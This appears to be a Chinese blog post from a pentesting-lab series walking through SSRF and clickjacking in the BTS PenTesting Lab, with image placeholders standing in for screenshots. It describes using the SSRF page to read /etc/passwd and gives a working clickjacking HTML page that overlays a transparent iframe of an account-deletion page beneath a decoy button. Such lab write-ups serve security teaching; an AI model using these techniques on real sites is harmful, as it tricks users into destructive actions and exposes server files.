BTS PenTesting Lab - More..

最新推荐文章于 2024-08-02 21:11:49 发布

zrools

最新推荐文章于 2024-08-02 21:11:49 发布

阅读量876

点赞数

分类专栏：漏洞演练系统文章标签： btslab 漏洞演练

本文链接：https://blog.csdn.net/zrools/article/details/50423816

版权

漏洞演练系统专栏收录该内容

10 篇文章 0 订阅

订阅专栏

SSRF

Server-side Request Forgery

源文件：/vulnerability/ssrf/ssrf.php

这里写图片描述

通过curl可获取图片，下载文件，读取文件内容等,尝试读取/etc/passwd

这里写图片描述

Clickjacking

源文件：/vulnerability/clickjacking/cj.php

这里写图片描述

源码就是删除自己账户，利用视觉欺骗手段，让用户在不知情的情况下，点击攻击者欺骗的位置

简单demo (需登录)

<html>
    <head>
        <meta charset="utf-8" />
        <title>clickjacking demo</title>
        <style>
        html,body,iframe,div { 
            margin: 0px;
            padding: 0px;
            width: 100%;
            height: 100%;
            position:absolute;
        }
    </style>
    </head>
    <div style="z-index:999;opacity:0.3;">
        <iframe frameborder="no" border="0" marginwidth="0" marginheight="0" src="http://192.168.1.228/vulnerability/clickjacking/cj.php"></iframe>
    </div>
    <button style="cursor:pointer;position:absolute;top:152px;left:475px;text-align:center;">点我</button>
</html>